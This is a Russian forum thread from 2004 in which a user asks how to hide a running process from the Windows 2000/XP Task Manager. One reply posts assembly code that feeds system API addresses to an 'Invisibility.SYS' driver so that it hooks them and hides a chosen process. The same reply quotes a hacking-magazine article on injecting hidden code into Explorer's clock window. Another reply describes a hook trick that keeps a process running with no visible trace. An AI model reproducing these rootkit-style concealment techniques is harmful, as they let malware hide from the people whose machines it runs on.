Форум программистов «Весельчак У»
  *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

  • Рекомендуем проверить настройки временной зоны в вашем профиле (страница "Внешний вид форума", пункт "Часовой пояс:").
  • У нас больше нет рассылок. Если вам приходят письма от наших бывших рассылок mail.ru и subscribe.ru, то знайте, что это не мы рассылаем.
   Начало  
Наши сайты
Помощь Поиск Календарь Почта Войти Регистрация  
 
Страниц: [1]   Вниз
  Печать  
Автор Тема: Как в Win2000/XP удалить имя процесса из списка процессов???  (Прочитано 6486 раз)
0 Пользователей и 1 Гость смотрят эту тему.
Detsel
Гость
« : 24-09-2004 12:28 » 

Подскажите как в Win2000/XP удалить имя процесса из списка процессов! Нужно чтобы по alt+ctrl+del нельзя было увидеть запущенный процесс! В вин98 это делается достаточно просто а в 2000 не получается(нетрудно было догадаться)! Можно ли вообще это сделать???
Записан
Mfcer__
Команда клуба

ru
Offline Offline

« Ответ #1 : 26-09-2004 22:00 » 

надо использовать DeviceIoControl

нашел исходник на асме, но не пробовал лично
Код:

.CONST
szDrvSym                               DB "\\.\INVISIBILITY", 0
szErrDrvUnavailable                    DB "Invisibility.SYS driver not registered yet and/or not running !", 0
szNTDLL                                DB "NtDll", 0
szNQSI                                 DB "NtQuerySystemInformation", 0
 
.DATA
hDrv                                   DD -1
 
.CODE
 
FeedRunDriver PROC hDriver { HANDLE, PID
      LOCAL   buff    { DWORD            
DeviceIoControl
      LOCAL   dwcOut  { DWORD
 
      ; pass ntdll!NtQuerySystemInformation address to driver
      push    offset szNTDLL
      call    LoadLibraryA
      push    offset szNQSI
      push    eax
      call    GetProcAddress
      test    eax, eax
      jz      @@exit
      mov     buff, eax
      push    NULL
      lea     eax, dwcOut
      push    eax
      push    0
      push    NULL
      push    4
      lea     eax, buff
      push    eax
      push    IOC_PROVIDE1                                                   ; IO control code
      push    hDriver
      call    DeviceIoControl
       
      ; pass target PID to driver
      push    PID
      pop     buff
      push    NULL
      lea     eax, dwcOut
      push    eax
      push    0
      push    NULL
      push    4
      lea     eax, buff
      push    eax
      push    IOC_PROVIDE2
      push    hDriver
      call    DeviceIoControl
       
      ; pass user32!EnumWindows address 2 driver
      APIAddressFromIT <EnumWindows>, <EAX>
      mov     buff, eax
      push    NULL
      lea     eax, dwcOut
      push    eax
      push    0
      push    NULL
      push    4
      lea     eax, buff
      push    eax
      push    IOC_PROVIDE3
      push    hDriver
      call    DeviceIoControl
       
      ; pass user32!GetWindowThreadProcessId address 2 driver
      APIAddressFromIT <GetWindowThreadProcessId>, <EAX>
      mov     buff, eax
      push    NULL
      lea     eax, dwcOut
      push    eax
      push    0
      push    NULL
      push    4
      lea     eax, buff
      push    eax
      push    IOC_PROVIDE4
      push    hDriver
      call    DeviceIoControl      
       
      ; command driver to install the hook
      push    NULL
      lea     eax, dwcOut
      push    eax
      push    0
      push    NULL
      push    0
      push    NULL
      push    IOC_HOOK
      push    hDriver
      call    DeviceIoControl
  @@exit{
      ret
FeedRunDriver ENDP
 
;
; Return type{   BOOL
;
; Remarks{       Handles errors alone via MsgBoxs
;
HideMyProcessNt PROC dwPID { DWORD
      ; get handle to our driver
      push    0
      push    FILE_ATTRIBUTE_NORMAL
      push    OPEN_EXISTING
      push    NULL
      push    0
      push    GENERIC_READ or GENERIC_WRITE
      push    offset szDrvSym
      call    CreateFileA
      mov     hDrv, eax
      inc     eax
      jnz     @F
      push    MB_ICONERROR
      push    offset szErr
      push    offset szErrDrvUnavailable
      push    0
      call    MessageBoxA
      sub     eax, eax
      jmp     @@exit
  @@{
        ; pass infos 2 driver
        push    dwPID
        push    hDrv
        call    FeedRunDriver      
  @@exit{
      ret
HideMyProcessNt ENDP
 
;
; Return value{ void
;
UnhideMyProcessNt PROC
      LOCAL   dwcOut   { DWORD
       
;      int     3
      ; command driver to unhook the NT service
      push    NULL
      lea     eax, dwcOut
      push    eax
      push    0
      push    NULL
      push    0
      push    NULL
      push    IOC_UNHOOK
      push    hDrv
      call    DeviceIoControl            
      ; close driver handle
      cmp     hDrv, INVALID_HANDLE_VALUE
      jz      @F
      push    hDrv
      call    CloseHandle
  @@{
      ret
UnhideMyProcessNt ENDP
 
////////
;
; IO control codes for driver and client...
;
 
.CONST
 
; Defining I/O Control Codes
IO_USER_FUNC_CODE_BASE         EQU )0800h:
 
METHOD_BUFFERED                EQU )000h:
METHOD_IN_DIRECT               EQU )001h:
METHOD_OUT_DIRECT              EQU )002h:
METHOD_NEITHER                 EQU )003h:
 
; our user defined IO control codes
IOC_PROVIDE1                           EQU )IO_USER_FUNC_CODE_BASE + 0100h: or METHOD_BUFFERED
IOC_PROVIDE2                           EQU )IO_USER_FUNC_CODE_BASE + 0200h: or METHOD_BUFFERED
IOC_PROVIDE3                           EQU )IO_USER_FUNC_CODE_BASE + 0300h: or METHOD_BUFFERED
IOC_PROVIDE4                           EQU )IO_USER_FUNC_CODE_BASE + 0400h: or METHOD_BUFFERED
 
IOC_HOOK                               EQU )IO_USER_FUNC_CODE_BASE + 01000h: or METHOD_BUFFERED
IOC_UNHOOK                             EQU )IO_USER_FUNC_CODE_BASE + 01100h: or METHOD_BUFFERED

также нашел есть статья на xakep.ru
Цитата

В последнее время интерес к программам-невидимкам снова возрос. В первую очередь это связано с появлением у рядовых пользователей WinXP. Эта ОСь, как известно, обладает всеми защитными особенностями линейки NT. И поэтому левые процессы стало “немножко” сложнее прятать от пользователя. Но и появление новых методов сокрытия присутствия существенно прибавилось . В данной статья я расскажу о новом способе “невидимости” (причём этот способ хорошо работает как в 9x, так и в XP). Суть его заключается в следующем: мы берём какую-либо программу, которая есть у более чем 90% пользователей и немножко изменяем её. (Из представленного ниже каркаса можно сделать всё что угодно!) Плюсы этого метода очевидны – раз заражённой нами прогой пользуются почти (а лучше без “почти”) все, то на неё никто ничего плохого не подумает, к тому же наш кусок кода НИГДЕ НЕ БУДЕТ ВИДЕН. Это актуально особенно для XP, так как в ней куча недокументированных функций (в том числе и для работы с процессами) и NtQuerySystemInformation не самая “опасная” для нас в данной ОСи. Так что осталось только выбрать прогу и приступить .

Мой выбор пал на Explorer . Он есть почти у всех счастливых обладателей виндовОза. Какую его часть мы будем мучить? Ну, например, посмотрим в левый нижний угол . Да, именно часы станут нашей жертвой.

Для начала немного теории. Наша программка будет состоять из 3-х файлов. (Exe – 1 штука, DLL – 2 штука ). Нашей задачей будет какая-либо вставка кода в “механизм часов”. Лучшее для этого дела место это оконная процедура окна класса TrayClockWClass. После выбора жертвы всё становиться просто. Получается так: Exe будет всё это запускать, одна из ДЛЛок будет содержать хук и проникать в процесс Explorer’а, другая же – будет содержать его новую оконную процедуру. Для проникновения мы воспользуемся SetWindowsHookEx с параметром WH_GETMESSAGE… Но сначала посмотрим на экзэшник. Его целью будет загрузка ДЛЛки с хуком, затем мы подождём немного (sleep(1000)), и пошлём часам мессагу, чтобы попасть в их процесс.
Записан
Серж
Гость
« Ответ #2 : 27-09-2004 07:05 » new

Несколько лет назад, правда тогда еще не было WIN2k, под WinNT, изучая хуки, я сделал замечательную невидимку. Смысл ее состоит в том, что в DLL, которая содержит hook, я  на событие DLL_DETACH_PROCESS, которое отрабатывает выход, я вместо UnhookWindowsHook, чтобы корректно все завершить, вставил SetWindowsHook. Эффект был поразительный: в Windows никаких упоминаний о процессе не осталось, а тем не менее он крутился в памяти. Думаю, если достаточно административных прав, этот прием сработает и под Win2K и XP.
Записан
Страниц: [1]   Вверх
  Печать  
 

Powered by SMF 1.1.21 | SMF © 2015, Simple Machines